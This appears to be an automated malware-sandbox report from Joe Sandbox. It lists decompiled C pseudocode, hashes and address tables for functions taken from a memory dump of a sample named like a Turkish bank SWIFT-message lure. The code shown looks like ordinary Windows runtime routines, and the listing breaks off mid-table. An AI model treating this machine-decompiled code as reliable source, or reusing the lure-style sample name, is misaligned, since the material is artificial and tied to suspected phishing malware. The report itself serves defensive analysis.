                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 38b8ad2f48f15671af14fee3a2a9d8c4140208213f27d378b6d527c25d9f1e85
                                                                        • Instruction ID: 37f65b631c8b6a8b573ce73b9472846ff0058f0dd8418bd2b49de7475e8fee1d
                                                                        • Opcode Fuzzy Hash: 38b8ad2f48f15671af14fee3a2a9d8c4140208213f27d378b6d527c25d9f1e85
                                                                        • Instruction Fuzzy Hash: B54181B0A1122D9BDB24EF59CC88AB9B7F8FB94300F5045E9D919D7292E7709E80CF50
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0133AA16 Relevance: .1, Instructions: 120COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E0133AA16(void* __ecx, intOrPtr __edx, signed int _a4, short _a8) {
				intOrPtr _v8;
				char _v12;
				signed int _v16;
				signed char _v20;
				intOrPtr _v24;
				char* _t37;
				void* _t47;
				signed char _t51;
				void* _t53;
				char _t55;
				intOrPtr _t57;
				signed char _t61;
				intOrPtr _t75;
				void* _t76;
				signed int _t81;
				intOrPtr _t82;

				_t53 = __ecx;
				_t55 = 0;
				_v20 = _v20 & 0;
				_t75 = __edx;
				_t81 = ( *(__ecx + 0xc) | _a4) & 0x93000f0b;
				_v24 = __edx;
				_v12 = 0;
				if((_t81 & 0x01000000) != 0) {
					L5:
					if(_a8 != 0) {
						_t81 = _t81 | 0x00000008;
					}
					_t57 = E0133ABF4(_t55 + _t75, _t81);
					_v8 = _t57;
					if(_t57 < _t75 || _t75 > 0x7fffffff) {
						_t76 = 0;
						_v16 = _v16 & 0;
					} else {
						_t59 = _t53;
						_t76 = E0133AB54(_t53, _t75, _t57, _t81 & 0x13000003,  &_v16);
						if(_t76 != 0 && (_t81 & 0x30000f08) != 0) {
							_t47 = E0133AC78(_t53, _t76, _v24, _t59, _v12, _t81, _a8);
							_t61 = _v20;
							if(_t61 != 0) {
								 *(_t47 + 2) =  *(_t47 + 2) ^ ( *(_t47 + 2) ^ _t61) & 0x0000000f;
								if(E0131CB1E(_t61, _t53, _t76, 2, _t47 + 8) < 0) {
									L012977F0(_t53, 0, _t76);
									_t76 = 0;
								}
							}
						}
					}
					_t82 = _v8;
					L16:
					if(E01297D50() == 0) {
						_t37 = 0x7ffe0380;
					} else {
						_t37 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t37 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E0133131B(_t53, _t76, _t82, _v16);
					}
					return _t76;
				}
				_t51 =  *(__ecx + 0x20);
				_v20 = _t51;
				if(_t51 == 0) {
					goto L5;
				}
				_t81 = _t81 | 0x00000008;
				if(E0131CB1E(_t51, __ecx, 0, 1,  &_v12) >= 0) {
					_t55 = _v12;
					goto L5;
				} else {
					_t82 = 0;
					_t76 = 0;
					_v16 = _v16 & 0;
					goto L16;
				}
			}



















                                                                        0x0133aa1f
                                                                        0x0133aa21
                                                                        0x0133aa23
                                                                        0x0133aa2b
                                                                        0x0133aa30
                                                                        0x0133aa36
                                                                        0x0133aa39
                                                                        0x0133aa42
                                                                        0x0133aa75
                                                                        0x0133aa7a
                                                                        0x0133aa7c
                                                                        0x0133aa7c
                                                                        0x0133aa88
                                                                        0x0133aa8a
                                                                        0x0133aa8f
                                                                        0x0133ab02
                                                                        0x0133ab04
                                                                        0x0133aa99
                                                                        0x0133aaa8
                                                                        0x0133aaaf
                                                                        0x0133aab3
                                                                        0x0133aacc
                                                                        0x0133aad1
                                                                        0x0133aad6
                                                                        0x0133aae0
                                                                        0x0133aaf3
                                                                        0x0133aaf9
                                                                        0x0133aafe
                                                                        0x0133aafe
                                                                        0x0133aaf3
                                                                        0x0133aad6
                                                                        0x0133aab3
                                                                        0x0133ab07
                                                                        0x0133ab0a
                                                                        0x0133ab11
                                                                        0x0133ab23
                                                                        0x0133ab13
                                                                        0x0133ab1c
                                                                        0x0133ab1c
                                                                        0x0133ab2b
                                                                        0x0133ab44
                                                                        0x0133ab44
                                                                        0x0133ab51
                                                                        0x0133ab51
                                                                        0x0133aa44
                                                                        0x0133aa47
                                                                        0x0133aa4c
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0133aa5a
                                                                        0x0133aa64
                                                                        0x0133aa72
                                                                        0x00000000
                                                                        0x0133aa66
                                                                        0x0133aa66
                                                                        0x0133aa68
                                                                        0x0133aa6a
                                                                        0x00000000
                                                                        0x0133aa6a

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
                                                                        • Instruction ID: b737b3dc0732b4a062974caef9e37437d9943d2ab266da10af43aec5a7973efc
                                                                        • Opcode Fuzzy Hash: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
                                                                        • Instruction Fuzzy Hash: C831F332B041056BEB19CB69C845BBFFBAAEFC0218F058469E985E7251DB748D40C654
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0133FDE2 Relevance: .1, Instructions: 116COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 76%
                                                                        			E0133FDE2(signed int* __ecx, signed int __edx, signed int _a4) {
				char _v8;
				signed int _v12;
				signed int _t29;
				char* _t32;
				char* _t43;
				signed int _t80;
				signed int* _t84;

				_push(__ecx);
				_push(__ecx);
				_t56 = __edx;
				_t84 = __ecx;
				_t80 = E0133FD4E(__ecx, __edx);
				_v12 = _t80;
				if(_t80 != 0) {
					_t29 =  *__ecx & _t80;
					_t74 = (_t80 - _t29 >> 4 << __ecx[1]) + _t29;
					if(__edx <= (_t80 - _t29 >> 4 << __ecx[1]) + _t29) {
						E01340A13(__ecx, _t80, 0, _a4);
						_t80 = 1;
						if(E01297D50() == 0) {
							_t32 = 0x7ffe0380;
						} else {
							_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
							_push(3);
							L21:
							E01331608( *((intOrPtr*)(_t84 + 0x3c)), _t56);
						}
						goto L22;
					}
					if(( *(_t80 + 0xc) & 0x0000000c) != 8) {
						_t80 = E01342B28(__ecx[0xc], _t74, __edx, _a4,  &_v8);
						if(_t80 != 0) {
							_t66 =  *((intOrPtr*)(_t84 + 0x2c));
							_t77 = _v8;
							if(_v8 <=  *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x2c)) + 0x28)) - 8) {
								E0133C8F7(_t66, _t77, 0);
							}
						}
					} else {
						_t80 = E0133DBD2(__ecx[0xb], _t74, __edx, _a4);
					}
					if(E01297D50() == 0) {
						_t43 = 0x7ffe0380;
					} else {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t43 == 0 || ( *( *[fs:0x30] + 0x240) & 0x00000001) == 0 || _t80 == 0) {
						goto L22;
					} else {
						_push((0 | ( *(_v12 + 0xc) & 0x0000000c) != 0x00000008) + 2);
						goto L21;
					}
				} else {
					_push(__ecx);
					_push(_t80);
					E0133A80D(__ecx[0xf], 9, __edx, _t80);
					L22:
					return _t80;
				}
			}










                                                                        0x0133fde7
                                                                        0x0133fde8
                                                                        0x0133fdec
                                                                        0x0133fdee
                                                                        0x0133fdf5
                                                                        0x0133fdf7
                                                                        0x0133fdfc
                                                                        0x0133fe19
                                                                        0x0133fe22
                                                                        0x0133fe26
                                                                        0x0133fec6
                                                                        0x0133fecd
                                                                        0x0133fed5
                                                                        0x0133fee7
                                                                        0x0133fed7
                                                                        0x0133fee0
                                                                        0x0133fee0
                                                                        0x0133feef
                                                                        0x0133ff00
                                                                        0x0133ff02
                                                                        0x0133ff07
                                                                        0x0133ff07
                                                                        0x00000000
                                                                        0x0133feef
                                                                        0x0133fe33
                                                                        0x0133fe55
                                                                        0x0133fe59
                                                                        0x0133fe5b
                                                                        0x0133fe5e
                                                                        0x0133fe69
                                                                        0x0133fe6d
                                                                        0x0133fe6d
                                                                        0x0133fe69
                                                                        0x0133fe35
                                                                        0x0133fe41
                                                                        0x0133fe41
                                                                        0x0133fe79
                                                                        0x0133fe8b
                                                                        0x0133fe7b
                                                                        0x0133fe84
                                                                        0x0133fe84
                                                                        0x0133fe93
                                                                        0x00000000
                                                                        0x0133fea8
                                                                        0x0133feba
                                                                        0x00000000
                                                                        0x0133feba
                                                                        0x0133fdfe
                                                                        0x0133fe01
                                                                        0x0133fe02
                                                                        0x0133fe08
                                                                        0x0133ff0c
                                                                        0x0133ff14
                                                                        0x0133ff14

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
                                                                        • Instruction ID: 3735c3c5fd4ca6c6740d7334a5708649146da69eb454894c6cd9a0f1c3cb0325
                                                                        • Opcode Fuzzy Hash: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
                                                                        • Instruction Fuzzy Hash: 41314632B006456FD3228B6CC844F6BBBEDEBC5A58F484058F94A8B742DB78DC41C769
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0133EA55 Relevance: .1, Instructions: 111COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 70%
                                                                        			E0133EA55(intOrPtr* __ecx, char __edx, signed int _a4) {
				signed int _v8;
				char _v12;
				intOrPtr _v15;
				char _v16;
				intOrPtr _v19;
				void* _v28;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				signed char _t26;
				signed int _t27;
				char* _t40;
				unsigned int* _t50;
				intOrPtr* _t58;
				unsigned int _t59;
				char _t75;
				signed int _t86;
				intOrPtr _t88;
				intOrPtr* _t91;

				_t75 = __edx;
				_t91 = __ecx;
				_v12 = __edx;
				_t50 = __ecx + 0x30;
				_t86 = _a4 & 0x00000001;
				if(_t86 == 0) {
					E01292280(_t26, _t50);
					_t75 = _v16;
				}
				_t58 = _t91;
				_t27 = E0133E815(_t58, _t75);
				_v8 = _t27;
				if(_t27 != 0) {
					E0127F900(_t91 + 0x34, _t27);
					if(_t86 == 0) {
						E0128FFB0(_t50, _t86, _t50);
					}
					_push( *((intOrPtr*)(_t91 + 4)));
					_push( *_t91);
					_t59 =  *(_v8 + 0x10);
					_t53 = 1 << (_t59 >> 0x00000002 & 0x0000003f);
					_push(0x8000);
					_t11 = _t53 - 1; // 0x0
					_t12 = _t53 - 1; // 0x0
					_v16 = ((_t59 >> 0x00000001 & 1) + (_t59 >> 0xc) << 0xc) - 1 + (1 << (_t59 >> 0x00000002 & 0x0000003f)) - (_t11 + ((_t59 >> 0x00000001 & 1) + (_t59 >> 0x0000000c) << 0x0000000c) & _t12);
					E0133AFDE( &_v12,  &_v16);
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					E0133BCD2(_v8,  *_t91,  *((intOrPtr*)(_t91 + 4)));
					_t55 = _v36;
					_t88 = _v36;
					if(E01297D50() == 0) {
						_t40 = 0x7ffe0388;
					} else {
						_t55 = _v19;
						_t40 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t40 != 0) {
						E0132FE3F(_t55, _t91, _v15, _t55);
					}
				} else {
					if(_t86 == 0) {
						E0128FFB0(_t50, _t86, _t50);
						_t75 = _v16;
					}
					_push(_t58);
					_t88 = 0;
					_push(0);
					E0133A80D(_t91, 8, _t75, 0);
				}
				return _t88;
			}






















                                                                        0x0133ea55
                                                                        0x0133ea66
                                                                        0x0133ea68
                                                                        0x0133ea6c
                                                                        0x0133ea6f
                                                                        0x0133ea72
                                                                        0x0133ea75
                                                                        0x0133ea7a
                                                                        0x0133ea7a
                                                                        0x0133ea7e
                                                                        0x0133ea80
                                                                        0x0133ea85
                                                                        0x0133ea8b
                                                                        0x0133eab5
                                                                        0x0133eabc
                                                                        0x0133eabf
                                                                        0x0133eabf
                                                                        0x0133eaca
                                                                        0x0133eace
                                                                        0x0133ead0
                                                                        0x0133eae4
                                                                        0x0133eaeb
                                                                        0x0133eaf0
                                                                        0x0133eaf5
                                                                        0x0133eb09
                                                                        0x0133eb0d
                                                                        0x0133eb1d
                                                                        0x0133eb2d
                                                                        0x0133eb38
                                                                        0x0133eb3d
                                                                        0x0133eb41
                                                                        0x0133eb4a
                                                                        0x0133eb60
                                                                        0x0133eb4c
                                                                        0x0133eb52
                                                                        0x0133eb59
                                                                        0x0133eb59
                                                                        0x0133eb68
                                                                        0x0133eb71
                                                                        0x0133eb71
                                                                        0x0133ea8d
                                                                        0x0133ea8f
                                                                        0x0133ea92
                                                                        0x0133ea97
                                                                        0x0133ea97
                                                                        0x0133ea9b
                                                                        0x0133ea9c
                                                                        0x0133ea9e
                                                                        0x0133eaa6
                                                                        0x0133eaa6
                                                                        0x0133eb7e

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
                                                                        • Instruction ID: f1ce2502184d4cd88d1966d07af433ff5e496ef1ec0d590b38f6bfc1416241b0
                                                                        • Opcode Fuzzy Hash: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
                                                                        • Instruction Fuzzy Hash: 1B31C472614706ABD71ADF28CC80A6BB7A9FFD0214F04492DF55687785DF30E805CBA5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012F69A6 Relevance: .1, Instructions: 108COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 69%
                                                                        			E012F69A6(signed short* __ecx, void* __eflags) {
				signed int _v8;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				char* _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				char _v72;
				signed short* _v76;
				signed int _v80;
				char _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t68;
				intOrPtr _t73;
				signed short* _t74;
				void* _t77;
				void* _t78;
				signed int _t79;
				signed int _t80;

				_v8 =  *0x136d360 ^ _t80;
				_t75 = 0x100;
				_v64 = _v64 & 0x00000000;
				_v76 = __ecx;
				_t79 = 0;
				_t68 = 0;
				_v72 = 1;
				_v68 =  *((intOrPtr*)( *[fs:0x18] + 0x20));
				_t77 = 0;
				if(L01286C59(__ecx[2], 0x100, __eflags) != 0) {
					_t79 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
					if(_t79 != 0 && E012F6BA3() != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0x1f0003);
						_push( &_v64);
						if(E012B9980() >= 0) {
							E01292280(_t56, 0x1368778);
							_t77 = 1;
							_t68 = 1;
							if( *0x1368774 == 0) {
								asm("cdq");
								 *(_t79 + 0xf70) = _v64;
								 *(_t79 + 0xf74) = 0x100;
								_t75 = 0;
								_t73 = 4;
								_v60 =  &_v68;
								_v52 = _t73;
								_v36 = _t73;
								_t74 = _v76;
								_v44 =  &_v72;
								 *0x1368774 = 1;
								_v56 = 0;
								_v28 = _t74[2];
								_v48 = 0;
								_v20 = ( *_t74 & 0x0000ffff) + 2;
								_v40 = 0;
								_v32 = 0;
								_v24 = 0;
								_v16 = 0;
								if(E0127B6F0(0x125c338, 0x125c288, 3,  &_v60) == 0) {
									_v80 = _v80 | 0xffffffff;
									_push( &_v84);
									_push(0);
									_push(_v64);
									_v84 = 0xfa0a1f00;
									E012B9520();
								}
							}
						}
					}
				}
				if(_v64 != 0) {
					_push(_v64);
					E012B95D0();
					 *(_t79 + 0xf70) =  *(_t79 + 0xf70) & 0x00000000;
					 *(_t79 + 0xf74) =  *(_t79 + 0xf74) & 0x00000000;
				}
				if(_t77 != 0) {
					E0128FFB0(_t68, _t77, 0x1368778);
				}
				_pop(_t78);
				return E012BB640(_t68, _t68, _v8 ^ _t80, _t75, _t78, _t79);
			}
































                                                                        0x012f69b5
                                                                        0x012f69be
                                                                        0x012f69c3
                                                                        0x012f69c9
                                                                        0x012f69cc
                                                                        0x012f69d1
                                                                        0x012f69d3
                                                                        0x012f69de
                                                                        0x012f69e1
                                                                        0x012f69ea
                                                                        0x012f69f6
                                                                        0x012f69fe
                                                                        0x012f6a13
                                                                        0x012f6a14
                                                                        0x012f6a15
                                                                        0x012f6a16
                                                                        0x012f6a1e
                                                                        0x012f6a26
                                                                        0x012f6a31
                                                                        0x012f6a36
                                                                        0x012f6a37
                                                                        0x012f6a40
                                                                        0x012f6a49
                                                                        0x012f6a4a
                                                                        0x012f6a53
                                                                        0x012f6a59
                                                                        0x012f6a5d
                                                                        0x012f6a5e
                                                                        0x012f6a64
                                                                        0x012f6a67
                                                                        0x012f6a6a
                                                                        0x012f6a6d
                                                                        0x012f6a70
                                                                        0x012f6a77
                                                                        0x012f6a7d
                                                                        0x012f6a86
                                                                        0x012f6a89
                                                                        0x012f6a9c
                                                                        0x012f6a9f
                                                                        0x012f6aa2
                                                                        0x012f6aa5
                                                                        0x012f6aaf
                                                                        0x012f6ab1
                                                                        0x012f6ab8
                                                                        0x012f6ab9
                                                                        0x012f6abb
                                                                        0x012f6abe
                                                                        0x012f6ac5
                                                                        0x012f6ac5
                                                                        0x012f6aaf
                                                                        0x012f6a40
                                                                        0x012f6a26
                                                                        0x012f69fe
                                                                        0x012f6ace
                                                                        0x012f6ad0
                                                                        0x012f6ad3
                                                                        0x012f6ad8
                                                                        0x012f6adf
                                                                        0x012f6adf
                                                                        0x012f6ae8
                                                                        0x012f6aef
                                                                        0x012f6aef
                                                                        0x012f6af9
                                                                        0x012f6b06

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: a4740f2396dee1cf7aa8ba1c0b8d73aedbdd668e02bd48f0330ce98b544a6749
                                                                        • Instruction ID: 0068cc457c8615497105f193f0d86e9dd99963eda1b47595ea83a28c91e73717
                                                                        • Opcode Fuzzy Hash: a4740f2396dee1cf7aa8ba1c0b8d73aedbdd668e02bd48f0330ce98b544a6749
                                                                        • Instruction Fuzzy Hash: 98416CB1D10209AFDB20DFA9D940BFEFBF8EF48714F14812AEA14A3250EB749905CB50
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01275210 Relevance: .1, Instructions: 107COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 85%
                                                                        			E01275210(intOrPtr _a4, void* _a8) {
				void* __ecx;
				intOrPtr _t31;
				signed int _t32;
				signed int _t33;
				intOrPtr _t35;
				signed int _t52;
				void* _t54;
				void* _t56;
				unsigned int _t59;
				signed int _t60;
				void* _t61;

				_t61 = E012752A5(1);
				if(_t61 == 0) {
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t54 =  *((intOrPtr*)(_t31 + 0x28));
					_t59 =  *(_t31 + 0x24) & 0x0000ffff;
				} else {
					_t54 =  *((intOrPtr*)(_t61 + 0x10));
					_t59 =  *(_t61 + 0xc) & 0x0000ffff;
				}
				_t60 = _t59 >> 1;
				_t32 = 0x3a;
				if(_t60 < 2 ||  *((intOrPtr*)(_t54 + _t60 * 2 - 4)) == _t32) {
					_t52 = _t60 + _t60;
					if(_a4 > _t52) {
						goto L5;
					}
					if(_t61 != 0) {
						asm("lock xadd [esi], eax");
						if((_t32 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E012B95D0();
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					} else {
						E0128EB70(_t54, 0x13679a0);
					}
					_t26 = _t52 + 2; // 0xddeeddf0
					return _t26;
				} else {
					_t52 = _t60 + _t60;
					if(_a4 < _t52) {
						if(_t61 != 0) {
							asm("lock xadd [esi], eax");
							if((_t32 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t61 + 4)));
								E012B95D0();
								L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
							}
						} else {
							E0128EB70(_t54, 0x13679a0);
						}
						return _t52;
					}
					L5:
					_t33 = E012BF3E0(_a8, _t54, _t52);
					if(_t61 == 0) {
						E0128EB70(_t54, 0x13679a0);
					} else {
						asm("lock xadd [esi], eax");
						if((_t33 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E012B95D0();
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					}
					_t35 = _a8;
					if(_t60 <= 1) {
						L9:
						_t60 = _t60 - 1;
						 *((short*)(_t52 + _t35 - 2)) = 0;
						goto L10;
					} else {
						_t56 = 0x3a;
						if( *((intOrPtr*)(_t35 + _t60 * 2 - 4)) == _t56) {
							 *((short*)(_t52 + _t35)) = 0;
							L10:
							return _t60 + _t60;
						}
						goto L9;
					}
				}
			}














                                                                        0x01275220
                                                                        0x01275224
                                                                        0x012d0d13
                                                                        0x012d0d16
                                                                        0x012d0d19
                                                                        0x0127522a
                                                                        0x0127522a
                                                                        0x0127522d
                                                                        0x0127522d
                                                                        0x01275231
                                                                        0x01275235
                                                                        0x01275239
                                                                        0x012d0d5c
                                                                        0x012d0d62
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d0d6a
                                                                        0x012d0d7b
                                                                        0x012d0d7f
                                                                        0x012d0d81
                                                                        0x012d0d84
                                                                        0x012d0d95
                                                                        0x012d0d95
                                                                        0x012d0d6c
                                                                        0x012d0d71
                                                                        0x012d0d71
                                                                        0x012d0d9a
                                                                        0x00000000
                                                                        0x0127524a
                                                                        0x0127524a
                                                                        0x01275250
                                                                        0x012d0d24
                                                                        0x012d0d35
                                                                        0x012d0d39
                                                                        0x012d0d3b
                                                                        0x012d0d3e
                                                                        0x012d0d50
                                                                        0x012d0d50
                                                                        0x012d0d26
                                                                        0x012d0d2b
                                                                        0x012d0d2b
                                                                        0x00000000
                                                                        0x012d0d55
                                                                        0x01275256
                                                                        0x0127525b
                                                                        0x01275265
                                                                        0x012d0da7
                                                                        0x0127526b
                                                                        0x0127526e
                                                                        0x01275272
                                                                        0x012d0db1
                                                                        0x012d0db4
                                                                        0x012d0dc5
                                                                        0x012d0dc5
                                                                        0x01275272
                                                                        0x01275278
                                                                        0x0127527e
                                                                        0x0127528a
                                                                        0x0127528c
                                                                        0x0127528d
                                                                        0x00000000
                                                                        0x01275280
                                                                        0x01275282
                                                                        0x01275288
                                                                        0x0127529f
                                                                        0x01275292
                                                                        0x00000000
                                                                        0x01275292
                                                                        0x00000000
                                                                        0x01275288
                                                                        0x0127527e

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 27eac41eeccc3b7849a6587fe2f9a9526ccdafb021239ff7e8198e850a258254
                                                                        • Instruction ID: fd6f56ad06e34af306f7f7efb271d4d860cdcf22573f577713fda4f62afdf425
                                                                        • Opcode Fuzzy Hash: 27eac41eeccc3b7849a6587fe2f9a9526ccdafb021239ff7e8198e850a258254
                                                                        • Instruction Fuzzy Hash: 1F31F631671602DBC726AB1CC882F7AB7A5FF20760F11462AF6151B1A4EB70E800C694
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B3D43 Relevance: .1, Instructions: 106COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E012B3D43(signed short* __ecx, signed short* __edx, signed short* _a4, signed short** _a8, intOrPtr* _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				char _v12;
				signed short** _t33;
				short* _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				signed short _t43;
				intOrPtr* _t47;
				intOrPtr* _t53;
				signed short _t57;
				intOrPtr _t58;
				signed short _t60;
				signed short* _t61;

				_t47 = __ecx;
				_t61 = __edx;
				_t60 = ( *__ecx & 0x0000ffff) + 2;
				if(_t60 > 0xfffe) {
					L22:
					return 0xc0000106;
				}
				if(__edx != 0) {
					if(_t60 <= ( *(__edx + 2) & 0x0000ffff)) {
						L5:
						E01287B60(0, _t61, 0x12511c4);
						_v12 =  *_t47;
						_v12 = _v12 + 0xfff8;
						_v8 =  *((intOrPtr*)(_t47 + 4)) + 8;
						E01287B60(0xfff8, _t61,  &_v12);
						_t33 = _a8;
						if(_t33 != 0) {
							 *_t33 = _t61;
						}
						 *((short*)(_t61[2] + (( *_t61 & 0x0000ffff) >> 1) * 2)) = 0;
						_t53 = _a12;
						if(_t53 != 0) {
							_t57 = _t61[2];
							_t38 = _t57 + ((( *_t61 & 0x0000ffff) >> 1) - 1) * 2;
							while(_t38 >= _t57) {
								if( *_t38 == 0x5c) {
									_t41 = _t38 + 2;
									if(_t41 == 0) {
										break;
									}
									_t58 = 0;
									if( *_t41 == 0) {
										L19:
										 *_t53 = _t58;
										goto L7;
									}
									 *_t53 = _t41;
									goto L7;
								}
								_t38 = _t38 - 2;
							}
							_t58 = 0;
							goto L19;
						} else {
							L7:
							_t39 = _a16;
							if(_t39 != 0) {
								 *_t39 = 0;
								 *((intOrPtr*)(_t39 + 4)) = 0;
								 *((intOrPtr*)(_t39 + 8)) = 0;
								 *((intOrPtr*)(_t39 + 0xc)) = 0;
							}
							return 0;
						}
					}
					_t61 = _a4;
					if(_t61 != 0) {
						L3:
						_t43 = L01294620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t60);
						_t61[2] = _t43;
						if(_t43 == 0) {
							return 0xc0000017;
						}
						_t61[1] = _t60;
						 *_t61 = 0;
						goto L5;
					}
					goto L22;
				}
				_t61 = _a4;
				if(_t61 == 0) {
					return 0xc000000d;
				}
				goto L3;
			}
















                                                                        0x012b3d4c
                                                                        0x012b3d50
                                                                        0x012b3d55
                                                                        0x012b3d5e
                                                                        0x012ee79a
                                                                        0x00000000
                                                                        0x012ee79a
                                                                        0x012b3d68
                                                                        0x012ee789
                                                                        0x012b3d9d
                                                                        0x012b3da3
                                                                        0x012b3daf
                                                                        0x012b3db5
                                                                        0x012b3dbc
                                                                        0x012b3dc4
                                                                        0x012b3dc9
                                                                        0x012b3dce
                                                                        0x012ee7ae
                                                                        0x012ee7ae
                                                                        0x012b3dde
                                                                        0x012b3de2
                                                                        0x012b3de7
                                                                        0x012b3e0d
                                                                        0x012b3e13
                                                                        0x012b3e16
                                                                        0x012b3e1e
